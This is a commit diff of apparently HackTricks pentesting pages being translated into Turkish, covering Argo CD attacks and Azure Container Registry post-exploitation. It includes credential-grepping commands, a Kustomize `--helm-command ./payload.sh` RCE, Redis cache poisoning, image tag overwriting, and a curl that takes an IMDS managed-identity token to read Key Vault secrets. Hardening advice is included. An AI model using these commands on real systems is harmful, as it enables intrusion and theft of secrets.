Translated ['src/pentesting-ci-cd/argocd-security.md', 'src/pentesting-c

This commit is contained in:
Translator
2026-07-19 09:26:19 +00:00
parent 89ecf6cecc
commit d581848ef5
5 changed files with 211 additions and 115 deletions
Binary file not shown.
+85 -84
View File
@@ -1,36 +1,36 @@
# Argo CD Güvenliği # Argo CD Security
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler ## Temel Bilgiler
[Argo CD](https://argo-cd.readthedocs.io/) Kubernetes için bir GitOps sürekli teslim platformudur. Git repositorylerini izler, Helm, Kustomize, Jsonnet veya config management plugins gibi araçlarla Kubernetes manifestlerini oluşturur ve canlı cluster durumunu Gitte saklanan istenen durumla eşleştirir. [Argo CD](https://argo-cd.readthedocs.io/) Kubernetes için bir GitOps continuous delivery platformudur. Git repository'lerini izler, Helm, Kustomize, Jsonnet veya config management plugin'leri gibi araçlarla Kubernetes manifest'lerini oluşturur ve canlı cluster durumunu Git'te depolanan istenen durumla uzlaştırır.
Bir attacker açısından Argo CDyi **Kubernetes credentials’ı olan bir deployment engine** olarak değerlendirin. Başarılı bir Argo CD compromise şunlara yol açabilir: Saldırgan perspektifinden Argo CD'yi **Kubernetes credentials'larına sahip bir deployment engine** olarak değerlendirin. Başarılı bir Argo CD compromise işlemi şunlara yol açabilir:
- Private Git repositorylerine ve repository credentialsına erişim. - Private Git repository'lerine ve repository credentials'larına erişim.
- Argo CD tarafından kullanılan Kubernetes cluster secretsına erişim. - Argo CD tarafından kullanılan Kubernetes cluster secrets'larına erişim.
- `argocd-repo-server` içinde manifest generation code execution. - `argocd-repo-server` içinde manifest generation code execution.
- Trusted Git repositoryleri, Argo CD applications veya cache manipulation üzerinden yetkisiz Kubernetes object deployment. - Güvenilen Git repository'leri, Argo CD application'ları veya cache manipulation aracılığıyla yetkisiz Kubernetes object deployment'ı.
## Mimari ve İlgi Bileşenler ## Mimari ve İlgi Çekici Bileşenler
Yaygın Kubernetes objectleri ve services: Yaygın Kubernetes object'leri ve service'leri:
```bash ```bash
kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd' kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd'
kubectl get applications,appprojects,applicationsets -A 2>/dev/null kubectl get applications,appprojects,applicationsets -A 2>/dev/null
kubectl get secrets,configmaps -n argocd 2>/dev/null kubectl get secrets,configmaps -n argocd 2>/dev/null
kubectl get networkpolicy -n argocd 2>/dev/null kubectl get networkpolicy -n argocd 2>/dev/null
``` ```
İlginç services: İlginç servisler:
- **`argocd-server`**: public API, web UI, CLI API, authentication ve authorization. - **`argocd-server`**: public API, web UI, CLI API, authentication ve authorization.
- **`argocd-application-controller`**: desired ve live state'i karşılaştırır, ardından resources'ları Kubernetes'e uygular. - **`argocd-application-controller`**: istenen ve mevcut state'i karşılaştırır, ardından resource'ları Kubernetes'e uygular.
- **`argocd-repo-server`**: repositories'leri clone eder, Git data'yı cache'ler ve manifests üretmek için Helm/Kustomize/Jsonnet/plugins çalıştırır. Default gRPC portu **8081**'dir. - **`argocd-repo-server`**: repository'leri clone eder, Git verilerini cache'ler ve manifest'ler oluşturmak için Helm/Kustomize/Jsonnet/plugin'lerini çalıştırır. Varsayılan gRPC portu **8081**'dir.
- **`argocd-redis`**: application, manifest ve Git reference data için cache. Default Redis portu **6379**'dur. - **`argocd-redis`**: application, manifest ve Git reference verileri için cache. Varsayılan Redis portu **6379**'dur.
- **`argocd-applicationset-controller`**: Git, SCM, clusters ve pull requests gibi generators'lardan Argo CD `Application` objects üretir. - **`argocd-applicationset-controller`**: Git, SCM, cluster'lar ve pull request'ler gibi generator'lar üzerinden Argo CD `Application` object'leri oluşturur.
Compromised bir pod veya internal network segmentinden, internal reachability'yi kontrol edin: Compromise edilmiş bir pod'dan veya internal network segment'inden internal erişilebilirliği kontrol edin:
```bash ```bash
nc -vz <argocd-server> 443 nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081 nc -vz <argocd-repo-server> 8081
@@ -38,7 +38,7 @@ nc -vz <argocd-redis> 6379
``` ```
## Public API / UI Saldırıları ## Public API / UI Saldırıları
Eğer Argo CD credentials veya exposed bir instance varsa, normal API surface ile başlayın: Argo CD kimlik bilgilerine veya erişime açık bir instance'a sahipseniz, normal API yüzeyiyle başlayın:
```bash ```bash
argocd login <argocd-server> argocd login <argocd-server>
argocd account get-user-info argocd account get-user-info
@@ -49,15 +49,15 @@ argocd repo list
argocd cluster list argocd cluster list
argocd admin settings rbac can <subject> <action> <resource> <object> argocd admin settings rbac can <subject> <action> <resource> <object>
``` ```
Faydalı attack paths: Kullanışlı saldırı yolları:
- **Application write access**: `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin ayarları veya sync options değiştirerek Argo CDnin attacker-controlled manifests deploy etmesini sağlamak. - **Application write access**: `source.repoURL`, `source.path`, Helm değerlerini, Kustomize seçeneklerini, plugin ayarlarını veya sync seçeneklerini değiştirerek Argo CD'nin saldırgan kontrollü manifest'leri deploy etmesini sağlama.
- **Project misconfiguration**: `AppProject` nesneleri geniş `sourceRepos`, geniş `destinations`, güvensiz `clusterResourceWhitelist` veya zayıf namespace restrictions içerebilir. - **Project misconfiguration**: `AppProject` nesneleri geniş `sourceRepos`, geniş `destinations`, güvensiz `clusterResourceWhitelist` veya zayıf namespace kısıtlamalarına izin verebilir.
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys ve tokens, trusted reposa push yapmayı veya malicious dependencies eklemeyi mümkün kılabilir. - **Repository credential abuse**: repository secret'ları, GitHub App kimlik bilgileri, SSH anahtarları ve token'lar güvenilir repo'lara push yapılmasına veya kötü amaçlı dependency'ler eklenmesine olanak sağlayabilir.
- **Cluster credential abuse**: cluster secrets, Argo CDnin target clusters içine deploy etmek için kullandığı bearer tokens veya exec-provider configuration içerebilir. - **Cluster credential abuse**: cluster secret'ları, Argo CD tarafından hedef cluster'lara deploy yapmak için kullanılan bearer token'lar veya exec-provider yapılandırması içerebilir.
- **Local admin / project tokens**: uzun ömürlü Argo CD tokens, revoke edilmedikçe veya expire olmadıkça API üzerinden yeniden kullanılabilir. - **Local admin / project tokens**: uzun ömürlü Argo CD token'ları, revoke edilmedikleri veya süreleri dolmadığı sürece API üzerinden yeniden kullanılabilir.
Cluster read access olduğunda Kubernetesten configuration enumerate edin: Cluster read access olduğunda Kubernetes'ten yapılandırmayı enumerate edin:
```bash ```bash
kubectl get applications.argoproj.io -A -o yaml kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
``` ```
## Trusted Git Repository Abuse ## Güvenilen Git Repository Kötüye Kullanımı
Eğer Argo CD tarafından trusted olan bir repositoryye push yapabiliyorsanız, genellikle neyin deployed edileceğini etkileyebilirsiniz. Etki, `AppProject` sınırlarına ve application controller tarafından kullanılan service account yetkilerine bağlıdır. Argo CD tarafından güvenilen bir repository'ye push yapabiliyorsanız genellikle neyin deploy edileceğini etkileyebilirsiniz. Etki, `AppProject` sınırlarına ve application controller tarafından kullanılan service account izinlerine bağlıdır.
Yaygın payload konumları: Yaygın payload konumları:
- Bir application path altında raw Kubernetes YAML. - Bir application path altındaki ham Kubernetes YAML.
- Helm chart templates ve `values.yaml`. - Helm chart template'leri ve `values.yaml`.
- Kustomize overlays, remote bases ve generators. - Kustomize overlay'leri, remote base'ler ve generator'lar.
- Jsonnet veya config management plugin giri. - Jsonnet veya config management plugin girdisi.
- `Application` objects oluşturan veya güncelleyen ApplicationSet generator dosyaları. - `Application` objeleri oluşturan ya da güncelleyen ApplicationSet generator dosyaları.
Appin automated sync, pruning, self-heal, sync windows veya manual approvals kullanıp kullanmadığını kontrol edin: Application'ın automated sync, pruning, self-heal, sync windows veya manual approvals kullanıp kullanmadığını kontrol edin:
```bash ```bash
kubectl get applications.argoproj.io -A \ kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
``` ```
## Doğrudan `argocd-repo-server` Abuse ## Direct `argocd-repo-server` Abuse
Genel Argo CD API'nin tek attack surface olduğunu varsaymayın. Dahili Argo CD bileşenleri, `argocd-repo-server` ile gRPC üzerinden iletişim kurar. Eğer arbitrary pod'lar repo-server'a erişebiliyorsa, attacker-controlled dahili istekler normalde `argocd-server` tarafından enforced edilen kontrolleri bypass edebilir. Public Argo CD API'sinin tek attack surface olduğunu varsaymayın. Dahili Argo CD component'leri `argocd-repo-server` ile gRPC üzerinden iletişim kurar. Arbitrary pod'lar repo-server'a erişebiliyorsa, attacker-controlled dahili request'ler normalde `argocd-server` tarafından uygulanan kontrolleri bypass edebilir.
Practical checks: Practical checks:
```bash ```bash
@@ -92,77 +92,77 @@ kubectl get svc -n argocd argocd-repo-server -o yaml
kubectl get endpoints -n argocd argocd-repo-server -o wide kubectl get endpoints -n argocd argocd-repo-server -o wide
nc -vz <argocd-repo-server> 8081 nc -vz <argocd-repo-server> 8081
``` ```
İlginç işaretler: İlginç göstergeler:
- repo-server gRPC endpoint'ine non-Argo CD pod'larından erişilebiliyor. - repo-server gRPC endpoint'ine Argo CD dışındaki pod'lardan erişilebiliyor.
- NetworkPolicies yok veya sadece allow-list egress var, ingress engellenmiyor. - NetworkPolicies eksik veya yalnızca egress için allow-list uyguluyor ve ingress'i deny etmiyor.
- repo-server, custom config management plugins, decryption tools veya birden fazla tenant'tan repository content'e erişebiliyor. - repo-server, custom config management plugin'lerine, decryption araçlarına veya birden fazla tenant'a ait repository içeriğine erişebiliyor.
- Redis, non-Argo CD pod'larından erişilebilir; credentials mevcutsa veya gerekmezse cache inspection ya da tampering'e izin verir. - Redis'e Argo CD dışındaki pod'lardan erişilebiliyor; credentials mevcutsa veya gerekli değilse cache inceleme ya da tamper işlemlerine olanak sağlıyor.
## Kustomize Options üzerinden Authentication gerektirmeyen Repo-Server RCE ## Kustomize Options Üzerinden Unauthenticated Repo-Server RCE
Temmuz 2026'da Synacktiv, bir attacker internal gRPC service'e ulaşabildiğinde Argo CD'nin `repo-server` bileşeninde authentication gerektirmeyen bir code execution chain açıkladı. Attack, `/repository.RepoServerService/GenerateManifest`'e doğrudan erişimi ve attacker-controlled `KustomizeOptions` kullanımını kötüye kullanır. Temmuz 2026'da Synacktiv, saldırganın internal gRPC service'e erişebildiği durumlarda Argo CD'nin `repo-server` bileşeninde unauthenticated code execution chain açıkladı. Saldırı, `/repository.RepoServerService/GenerateManifest` endpoint'ine doğrudan erişimi ve saldırgan kontrolündeki `KustomizeOptions` değerlerini kötüye kullanıyor.
Tehlikeli primitive, repo-server'ı attacker-controlled repository content'i clone etmeye zorlamak ve Helm support ile Kustomize çalıştırmaktır: Tehlikeli primitive, repo-server'ı saldırgan kontrolündeki repository içeriğini clone etmeye ve Helm desteğiyle Kustomize çalıştırmaya zorlamaktır:
```bash ```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
``` ```
Helm processing'i tetiklemek için gereken minimal malicious Kustomize girdisi: Helm işlemesini tetiklemek için gereken minimal kötü amaçlı Kustomize girdisi:
```yaml ```yaml
helmCharts: helmCharts:
- name: pwn - name: pwn
version: 0.0.1 version: 0.0.1
``` ```
Neden bu çalışır: Neden çalışır:
- `argocd-repo-server` render etmeden önce repositoryyi clone eder. - `argocd-repo-server`, render işlemi öncesinde repository'yi clone'lar.
- `--helm-command ./payload.sh`, clone edilen repositoryye göre resolve edilir. - `--helm-command ./payload.sh`, clone'lanan repository'ye göre relative olarak çözümlenir.
- Attacker, rendered repository ve Kustomize build options üzerinde control sağlayabiliyorsa, code execution için shell metacharacter injection gerekmez. - Saldırgan render edilen repository'yi ve Kustomize build seçeneklerini kontrol edebiliyorsa, code execution için shell metacharacter injection gerekmez.
Synacktivin 1 Temmuz 2026 disclosure zamanında, issue için resmi bir fix veya CVE olmadığını bildirdiler. Bunu önce bir network-exposure issue olarak değerlendirin: exploitation, internal repo-server gRPC portuna erişilebilirlik gerektirir. Synacktiv'in 1 Temmuz 2026 tarihli disclosure'ı sırasında bildirdiğine göre, sorunun resmi bir fix'i veya CVE'si yoktu. Bunu öncelikle bir network-exposure sorunu olarak değerlendirin: exploitation, internal repo-server gRPC portuna erişilebilirlik gerektirir.
## Redis Cache Poisoning to Deploy Manifests ## Redis Cache Poisoning ile Manifest Deploy Etme
`argocd-repo-server` inde code executiondan sonra veya valid credentials ile Redise direct access sonrası, Redis-backed cache entriesyi inspect edin. Argo CD genellikle gzip-compressed JSON values store eder. `argocd-repo-server` üzerinde code execution elde ettikten veya geçerli credentials ile Redis'e doğrudan erişim sağladıktan sonra Redis-backed cache entry'lerini inceleyin. Argo CD genellikle gzip-compressed JSON değerleri depolar.
İlginç key prefixes: İlginç key prefix'leri:
```text ```text
mfst|... # cached rendered manifests mfst|... # cached rendered manifests
git-refs|... # Git branch/ref to commit mappings git-refs|... # Git branch/ref to commit mappings
app|... # application resource/cache data app|... # application resource/cache data
cluster|... # cluster cache information cluster|... # cluster cache information
``` ```
Synacktiv tarafından açıklanan cache poisoning saldırısı iki durum bilgisini kötüye kullanır: Synacktiv tarafından açıklanan cache poisoning attack, iki state parçasını kötüye kullanır:
1. İlgili `mfst|...` manifest cache girdisini, saldırgan tarafından kontrol edilen bir Kubernetes manifesti içerecek şekilde değiştirin. 1. İlgili `mfst|...` manifest cache entry öğesini, attacker tarafından kontrol edilen bir Kubernetes manifesti içerecek şekilde değiştirin.
2. İlgili `git-refs|...` eşlemesini değiştirin; böylece Argo CD branchin taşındığını düşünür ve ardından cached revisiona geri reconcile eder. 2. Argo CD'nin branch'in değiştiğine inanmasını sağlamak ve ardından cached revision'a geri reconcile etmesini sağlamak için ilgili `git-refs|...` mapping'ini değiştirin.
Etkisi: Impact:
- Auto Sync etkinse, Argo CD poisoned cached manifesti otomatik olarak uygulayabilir. - Auto Sync etkinse Argo CD, poisoned cached manifest'i otomatik olarak apply edebilir.
- Auto Sync olmadan da, bir kullanıcı applicationı manuel olarak sync ettiğinde payload yine uygulanabilir. - Auto Sync olmadan payload, bir kullanıcının application'ı manuel olarak sync etmesiyle yine de apply edilebilir.
- Nihai etki, hedef applicationın destinationı ve Argo CDye उपलब्ध Kubernetes permissions ile sınırlıdır. - Nihai impact, hedef application'ın destination'ı ve Argo CD için mevcut Kubernetes permissions ile sınırlıdır.
## ApplicationSet Attacks ## ApplicationSet Attacks
ApplicationSet özellikle hassastır çünkü generator outputundan `Application` objects oluşturur veya günceller. ApplicationSet özellikle hassastır, çünkü generator output'tan `Application` object'leri oluşturur veya günceller.
Review: İnceleme:
```bash ```bash
kubectl get applicationsets.argoproj.io -A -o yaml kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml
``` ```
İlginç patterns: İlginç kalıplar:
- app names, paths, projects veya destinations kontrol eden attacker-writable dosyaları okuyan Git generators. - Uygulama adlarını, path'leri, project'leri veya destination'ları kontrol eden attacker-writable dosyaları okuyan Git generators.
- Güvenilmeyen contributors’ın generated applications üzerinde etki edebildiği public repositories için pull request generators. - Güvenilmeyen contributor'ların oluşturulan uygulamaları etkileyebildiği public repository'ler için pull request generators.
- Geniş destination clusters/namespaces'e izin veren template fields. - Geniş destination cluster'larına/namespacelere izin veren template alanları.
- `sourceRepos: ["*"]` veya geniş `destinations`'a izin veren AppProjects. - `sourceRepos: ["*"]` veya geniş `destinations` izinlerine sahip AppProjects.
- automated sync ve pruning miras alan generated applications. - Automated sync ve pruning'i devralan generated applications.
## Post-Exploitation ## Post-Exploitation
Bir Argo CD pod shellinden, öncelik verin: Bir Argo CD pod shell'inden şunlara öncelik verin:
```bash ```bash
env env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config'
``` ```
Faydalı hedefler: Faydalı hedefler:
- `REDIS_PASSWORD` veya Redis TLS/client materyalini çal. - `REDIS_PASSWORD` veya Redis TLS/client materyalini çalın.
- Mount edilmiş secrets veya Argo CD Kubernetes secrets içinden repository credentials çıkar. - Mounted secret'lar veya Argo CD Kubernetes secret'larından repository kimlik bilgilerini çıkarın.
- Argo CD tarafından kullanılan cluster credentials’ı belirle. - Argo CD tarafından kullanılan cluster kimlik bilgilerini belirleyin.
- Enjekte edilmiş secrets içerebilecek generated manifests ve plugin outputu oku. - Inject edilmiş secret'lar içerebilecek oluşturulmuş manifest'leri ve plugin çıktısını okuyun.
- Custom plugins, SOPS, Helm secrets, Vault plugins veya cloud CLIsin decryption keys ve cloud credentials açığa çıkarıp çıkarmadığını kontrol et. - Custom plugin'lerin, SOPS, Helm secrets, Vault plugin'lerinin veya cloud CLI'ların decryption key'lerini ve cloud kimlik bilgilerini açığa çıkarıp çıkarmadığını kontrol edin.
## Tespit & Sertleştirme ## Tespit ve Hardening
Önemli kontroller: Önemli kontroller:
- `argocd-repo-server` port **8081** ve Redis port **6379** erişimini, sadece beklenen Argo CD bileşenleri ulaşabilecek şekilde NetworkPolicies ile kısıtla. - `argocd-repo-server` port **8081** ve Redis port **6379**'u NetworkPolicies ile kısıtlayın; yalnızca beklenen Argo CD bileşenleri bunlara erişebilsin.
- Helm deployments içinde, network policiesnin gerçekten oluşturulduğunu doğrula. Argo CD Helm chart değerleri historically component network policy creation’ı disabled olarak varsayılan yapmıştır. - Helm deployment'larında network policy'lerin gerçekten oluşturulduğunu doğrulayın. Argo CD Helm chart values, bileşen network policy oluşturulmasını geçmişte varsayılan olarak devre dışı bırakmıştı.
- `argocd-server`ı authenticated entry point olarak tut. Internal services rastgele workloads tarafından erişilebilir olmamalı. - `argocd-server`'ı authenticated giriş noktası olarak tutun. Internal service'lere arbitrary workload'ların erişememesi gerekir.
- Kullanılmayan config management tools ve pluginsi devre dışı bırak. - Kullanılmayan config management tool'larını ve plugin'leri devre dışı bırakın.
- `AppProject` `sourceRepos`, `destinations`, namespace permissions ve cluster-scoped resources erişimini kısıtla. - `AppProject` `sourceRepos`, `destinations`, namespace izinlerini ve cluster-scoped resource'ları kısıtlayın.
- Düşük yetkili bir Argo CD kullanıcısının yeniden kullanılmasına neden olabileceği geniş repository credentials saklamaktan kaçın. - Düşük yetkili bir Argo CD kullanıcısının yeniden kullanılmalarına neden olabileceği geniş yetkili repository kimlik bilgilerini saklamaktan kaçının.
- Repo-server requests, Kustomize build options, plugin executions, Redis writes ve `mfst|` / `git-refs|` keyse beklenmeyen erişimi izle. - Repo-server request'lerini, Kustomize build seçeneklerini, plugin execution'larını, Redis write işlemlerini ve `mfst|` / `git-refs|` key'lerine beklenmeyen erişimleri izleyin.
- Compromise sonrası Argo CD local users, project tokens, repository credentials ve cluster credentials’ı rotate et. - Compromise sonrasında Argo CD local user'larını, project token'larını, repository kimlik bilgilerini ve cluster kimlik bilgilerini rotate edin.
Faydalı komutlar: Faydalı komutlar:
```bash ```bash
@@ -197,17 +197,17 @@ kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
``` ```
## CodeQL'de Static Analysis Notu: Typed API Requests ## CodeQL'de Statik Analiz Notu: Typed API Requests
gRPC/REST handler'ları kullanan Go servislerinde, ham input typed request objects içine unmarshaled edildikten sonra default CodeQL remote sources akışları kaçırabilir. Argo CD tarzı servisler için faydalı bir model şudur: gRPC/REST handler'ları kullanan Go servislerinde, ham girdi typed request object'lerine unmarshaled edildikten sonra varsayılan CodeQL remote sources akışları kaçırabilir. Argo CD tarzı servisler için kullanışlı bir model şunlardır:
- `Server` veya `Service` gibi receiver type. - `Server` veya `Service` gibi bir Receiver type.
- İlk parametre `context.Context`. - İlk parametre `context.Context`.
- İkinci parametre typed bir request object. - İkinci parametre typed bir request object.
O ikinci parametreyi remote source olarak modelleyin ve `exec.Command` / `exec.CommandContext` argümanları için custom sink'ler ekleyin. Bu, internal API request alanlarından command execution yardımcılarına giden akışları bulmaya yardımcı olur. Bu ikinci parametreyi remote source olarak modelleyin ve `exec.Command` / `exec.CommandContext` argümanları için custom sinks ekleyin. Bu, internal API request alanlarından command execution helper'larına giden akışların bulunmasına yardımcı olur.
## References ## Referanslar
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) - [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
@@ -217,3 +217,4 @@ O ikinci parametreyi remote source olarak modelleyin ve `exec.Command` / `exec.C
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md az-azure-ai-foundry-post-exploitation.md
{{#endref}} {{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Bu service hakkında daha fazla bilgi için bkz.:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
ACR management-plane erişimine sahip bir identity, bu erişimi **yeniden kullanılabilir Docker credentials** bilgilerine dönüştürebilir. **Admin user** devre dışı bırakılmışsa ancak principal aynı zamanda `registries/write` yetkisine sahipse, bu özelliği etkinleştirin, parolaları alın ve doğrudan `<registry>.azurecr.io` üzerinde authenticate olun.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Bu, ele geçirilen kimlik bilgilerinin Azure CLI dışında **registry içeriğini listelemek, çekmek, göndermek, üzerine yazmak ve bazen silmek** için yönetici hesabı devre dışı bırakılana veya parolalar döndürülene kadar yeniden kullanılabilmesi açısından faydalıdır.
### `Microsoft.ContainerRegistry/registries/pull/read`
İmajlar içinde **repository keşfi** ve **secret hunting** için pull erişimini kullanın. Hem son container yapılandırmasını hem de geçmiş filesystem layer'larını inceleyin; çünkü bir layer'a kopyalanan dosyalar daha sonra silinseler bile kurtarılabilir kalabilir.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Yüksek değerli hedefler arasında **environment variables**, **application configs**, **deployment scripts**, **sertifikalar**, **access token'lar** ve **connection string'ler** bulunur. Katmanları incelerken daha fazla fikir edinmek için Docker forensics sayfasına göz atın:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Push erişimi, bir saldırganın **güvenilir repository'leri zehirlemesine** veya `latest`, `prod` ya da `stable` gibi **değiştirilebilir tag'leri üzerine yazmasına** olanak tanır. Tag yerine digest kullanarak deployment gerçekleştirmeye devam eden tüm workload'lar, sonraki deployment, scale-out olayı veya yeniden başlatma sırasında saldırganın image'ını çekebilir.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Bir tag'i değiştirmeden önce, downstream workload'lar tarafından hangi repository ve tag'lerin gerçekten kullanıldığını doğrulayın. **Digest-pinned** tüketicileri (`@sha256:...`), tag tabanlı tüketicilere kıyasla yönlendirmek çok daha zordur.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Bir downstream container workload tarafından kullanılan **image'ı değiştirebilir** ve bu workload'u **restart edebilirseniz**, kötü amaçlı entrypoint hedef container'ın **network ve managed identity context'i** içinde çalışır. Buradan image, IMDS'den token isteyebilir ve söz konusu workload identity tarafından erişilebilen Azure kaynaklarına erişebilir.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Bu, bir ACR tag overwrite işlemini, değiştirilmiş tag'e güvenen ve kullanışlı bir identity açığa çıkaran herhangi bir container consumer içinde **code execution**, **secret theft** veya **lateral movement** işlemine dönüştürür.
### İlgili privesc path: ACR Tasks managed identities
`Microsoft.ContainerRegistry/registries/tasks/write` ve `Microsoft.ContainerRegistry/registries/runs/write` izinlerine de sahipseniz ACR privesc path'ine geçin ve task'ın managed identity'sini doğrudan abuse edin:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referanslar
- [TrustedSec - Pandora's Container Part 1: Azure Container Security'yi Açmak](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Temel Bilgiler
Azure Container Registry (ACR), **container imagesı Azure cloud içinde saklamanıza, yönetmenize ve erişmenize** olanak tanıyan güvenli, private bir registrydir. Birden fazla Azure service ile sorunsuz entegre olur ve ölçekli otomatik build ve deployment workflowları sağlar. Geo-replication ve vulnerability scanning gibi özelliklerle ACR, containerized applications için enterprise-grade security ve compliance sağlamaya yardımcı olur. Azure Container Registry (ACR), **container image'larını Azure cloud'da depolamanıza, yönetmenize ve bunlara erişmenize** olanak tanıyan güvenli ve özel bir registry'dir. Birçok Azure servisiyle sorunsuz şekilde entegre olarak ölçekli otomatik build ve deployment iş akışları sağlar. Geo-replication ve vulnerability scanning gibi özellikleriyle ACR, containerized uygulamalar için enterprise-grade güvenlik ve uyumluluk sağlamaya yardımcı olur.
### Permissions ### Permissions
Bunlar bir Container Registry üzerinde verilebilecek **farklı permissions** [docse göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): Bunlar, [docs'a göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) bir Container Registry üzerinde verilebilecek **farklı permission'lardır**:
- Access Resource Manager - Access Resource Manager
- Create/delete registry - Create/delete registry
@@ -18,23 +18,23 @@ Bunlar bir Container Registry üzerinde verilebilecek **farklı permissions** [d
- Change policies - Change policies
- Sign images - Sign images
